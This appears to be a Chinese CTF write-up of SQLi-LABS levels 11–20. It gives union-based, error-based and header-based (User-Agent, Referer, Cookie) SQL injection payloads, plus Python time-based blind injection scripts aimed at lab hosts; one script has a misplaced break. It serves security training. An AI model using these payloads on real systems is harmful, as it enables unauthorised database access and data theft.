SQLi-LABS(11~20关详解)

SQLi-LABS Less-11

查看题目环境

SQLi-LABS(11~20关详解)_第1张图片

首先可以看到这题传入正确的账号密码,会有数据回显

测试注入点

尝试post

uname=admin'

SQLi-LABS(11~20关详解)_第2张图片

通过报错语句可以发现用单引号即可闭合
post

uname=admin' or '1'='1

页面正常显示数据
post

uname=admin' and '1'='2

页面无数据显示
由此可以判断出:此处具有uname处存在Sql注入漏洞

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程为

查找列数

uname=admin' order by 2 #

“#” 用于注释掉sql语句后面的内容,最终查出返回的列数为2列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)

查询数据库

uname=-1' union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)#

这边id传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示

查询数据库中的表

uname=-1' union select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )#

查表中的字段

uname=-1' union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')#

查数据

uname=-1' union select 1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)#

SQLi-LABS Less-12

查看题目环境

SQLi-LABS(11~20关详解)_第3张图片

首先可以看到这题传入正确的账号密码,会有数据回显

测试注入点

尝试post

uname=admin"

SQLi-LABS(11~20关详解)_第4张图片

通过报错语句可以发现他服务器端的sql语句是用")闭合的
post

uname=admin") or '1'='1' #

页面正常显示数据
post

uname=admin") and '1'='2' #

页面无数据显示
由此可以判断出:此处具有uname处存在Sql注入漏洞

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程为

查找列数

uname=admin") order by 2 #

“#” 用于注释掉sql语句后面的内容,最终查出返回的列数为2列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)

查询数据库

uname=-1") union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)#

这边id传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示

查询数据库中的表

uname=-1") union select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )#

查表中的字段

uname=-1") union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')#

查数据

uname=-1") union select 1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)#

SQLi-LABS Less-13

查看题目环境

SQLi-LABS(11~20关详解)_第5张图片

首先可以看到这题传入账号密码,并不会有回显的数据,所以这题不能用联合查询

测试注入点

尝试post

uname=admin'

SQLi-LABS(11~20关详解)_第6张图片

通过报错语句可以发现他服务器端的sql语句是用‘)闭合的
同时因为不存在回显的数据,所以可以尝试报错注入
post

uname=admin') and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

页面正常显示数据
post
uname=admin") and ‘1’=‘2’ #
页面无数据显示
由此可以判断出:此处具有uname处存在Sql注入漏洞

SQL注入

因为前面测得没有回显,但又报错信息,所以使用报错注入
流程为

查询数据库

uname=admin') and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 一个一个数据库查

查询数据库中的表

uname=admin') and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

查表中的字段

uname=admin') and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

查数据

uname=admin') and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

SQLi-LABS Less-14

查看题目环境

SQLi-LABS(11~20关详解)_第7张图片

首先可以看到这题传入账号密码或者尝试引号闭合,并不会有回显的数据,也不有报错信息,所以这题不能用联合查询和报错注入

测试注入点

尝试使用盲注测试脚本

import requests
import time
ss = time.time()
url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-14/"
data={
    'uname':"admin\" and sleep(5) #",
    'passwd':'admin'
}
t=requests.post(url,data)

if time.time()-ss>=4:
    print("is Time")

由此可以判断出:此处具有uname处存在Sql盲注漏洞

SQL注入

使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误

时间盲注脚本

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-14/"
while True:
    for i in table:
        ss = time.time()
        data_database = {
            'uname':'''admin\" and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
            'passwd':'admin'
        }
        data_table = {
            'uname':'''admin\" and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
            'passwd':'admin'
        }
        data_column = {
            'uname':'''admin\" and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
            'passwd':'admin'
        }
        data_flag = {
            'uname':'''admin\" and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
            'passwd':'admin'
        }
        #t=requests.post(url,data_database)
        #t=requests.post(url,data_table)
        #t=requests.post(url,data_column)
        t=requests.post(url,data_flag)
        if time.time()-ss>=4:
            flag += i
            print (flag)
        break

SQLi-LABS Less-15

查看题目环境

SQLi-LABS(11~20关详解)_第8张图片

首先可以看到这题传入账号密码或者尝试引号闭合,并不会有回显的数据,也不有报错信息,所以这题不能用联合查询和报错注入

测试注入点

尝试使用盲注测试脚本,主要 为了测试如何去闭合前面内容,来构造出正确的sql语句

import requests
import time
ss = time.time()
url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-15/"
data={
    'uname':"admin' and sleep(5) #",
    'passwd':'admin'
}
t=requests.post(url,data)
if time.time()-ss>=4:
    print("is Time")

由此可以判断出:此处具有uname处存在Sql盲注漏洞

SQL注入

使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误

时间盲注脚本

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-15/"
while True:
    for i in table:
        ss = time.time()
        data_database = {
            'uname':'''admin' and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
            'passwd':'admin'
        }
        data_table = {
            'uname':'''admin' and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
            'passwd':'admin'
        }
        data_column = {
            'uname':'''admin' and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
            'passwd':'admin'
        }
        data_flag = {
            'uname':'''admin' and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
            'passwd':'admin'
        }
        #t=requests.post(url,data_database)
        #t=requests.post(url,data_table)
        #t=requests.post(url,data_column)
        t=requests.post(url,data_flag)
        if time.time()-ss>=4:
            flag += i
            print (flag)
            break

SQLi-LABS Less-16

查看题目环境

SQLi-LABS(11~20关详解)_第9张图片

首先可以看到这题传入账号密码或者尝试引号闭合,并不会有回显的数据,也不有报错信息,所以这题不能用联合查询和报错注入

测试注入点

尝试使用盲注测试脚本,主要 为了测试如何去闭合前面内容,来构造出正确的sql语句

import requests
import time

ss = time.time()
url="http://83152ef4-5545-4380-bb72-f2aabfa6e179.node1.buuoj.cn/Less-16/"
data={
    'uname':"admin\") and sleep(5) #",
    'passwd':'admin'
}
t=requests.post(url,data)
if time.time()-ss>=4:
    print("is Time")

由此可以判断出:此处具有uname处存在Sql盲注漏洞

SQL注入

使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误

如果数据库中的内容不在table内,可以直接使用ascii表来作为table,设置常见table是为了脚本跑的更快

时间盲注脚本

import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
url="http://83152ef4-5545-4380-bb72-f2aabfa6e179.node1.buuoj.cn/Less-16/"
while True:
    for i in table:
        ss = time.time()
        data_database = {
            'uname':'''admin") and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
            'passwd':'admin'
        }
        data_table = {
            'uname':'''admin") and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
            'passwd':'admin'
        }
        data_column = {
            'uname':'''admin") and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
            'passwd':'admin'
        }
        data_flag = {
            'uname':'''admin") and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
            'passwd':'admin'
        }
        #t=requests.post(url,data_database)
        #t=requests.post(url,data_table)
        #t=requests.post(url,data_column)
        t=requests.post(url,data_flag)
        if time.time()-ss>=4:
            flag += i
            print (flag)
            break

SQLi-LABS Less-17

查看题目环境

SQLi-LABS(11~20关详解)_第10张图片

首先可以看到这题传入账号和想要重置的密码,当传入合法的输入时,会提示你密码修改成功

测试注入点

尝试post

uname=admin&passwd=admin'

SQLi-LABS(11~20关详解)_第11张图片

通过报错语句可以发现他服务器端的sql语句
由此可以判断出,在passwd处存在报错注入,且可用单引号闭合

SQL注入

查询数据库

uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 逐个查询

查询数据库中的表

uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

查表中的字段

uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #

查数据

uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) #

SQLi-LABS Less-18

查看题目环境

SQLi-LABS(11~20关详解)_第12张图片

登陆给我回显的数据是我的User Agent。
尝试bp抓包

SQLi-LABS(11~20关详解)_第13张图片

可以看到我们发送请求的时候将我们的User-Agent传入到了服务器端,然后记录到了数据库里面。

测试注入点

尝试控制User-Agent

User-Agent=1

SQLi-LABS(11~20关详解)_第14张图片

User-Agent=1'

SQLi-LABS(11~20关详解)_第15张图片

通过报错语句可以发现他可以使用单引号闭合,又因为没有具体数据的回显
由此可以判断出,存在报错注入

SQL注入

查询数据库

User-Agent=1'  and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)  or '1'='1

通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 逐个查询

查询数据库中的表

User-Agent=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

查表中的字段

User-Agent=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

查数据

User-Agent=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

SQLi-LABS Less-19

查看题目环境

SQLi-LABS(11~20关详解)_第16张图片

登陆给我回显的数据是我的Referer。
可以想到我们发送请求的时候将我们的Referert传入到了服务器端,然后记录到了数据库里面。

测试注入点

尝试控制Referer

Referer=1

SQLi-LABS(11~20关详解)_第17张图片

Referer=1'

SQLi-LABS(11~20关详解)_第18张图片

通过报错语句可以发现他可以使用单引号闭合,又因为没有具体数据的回显
由此可以判断出,存在报错注入

SQL注入

查询数据库

Referer=1'  and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)  or '1'='1

通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 逐个查询

查询数据库中的表

Referer=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

查表中的字段

Referer=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

查数据

Referer=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

SQLi-LABS Less-20

查看题目环境

SQLi-LABS(11~20关详解)_第19张图片

登陆给我回显的数据是I LOVE YOU COOKIES。
尝试bp抓包

SQLi-LABS(11~20关详解)_第20张图片

猜测应该是将我们的cookie传入到了服务器端,然后记录到了数据库里面。

测试注入点

尝试Cookie= uname=admin

SQLi-LABS(11~20关详解)_第21张图片

发现有回显数据
尝试

Cookie= uname=admin'

报错信息如下

SQLi-LABS(11~20关详解)_第22张图片

通过报错语句可以发现他服务器端的sql语句是用单引号闭合的
因为有详细数据回显,所以判断可以使用Union联合查询

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程为

查找列数

Cookie: uname=admin' order by 3 #

–+用于注释掉sql语句后面的内容,最终查出返回的列数为3列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)

查询数据库

Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #

这边uname传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示

查询数据库中的表

Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) #

查表中的字段

Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') #

查数据

Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) #

你可能感兴趣的:(CTF)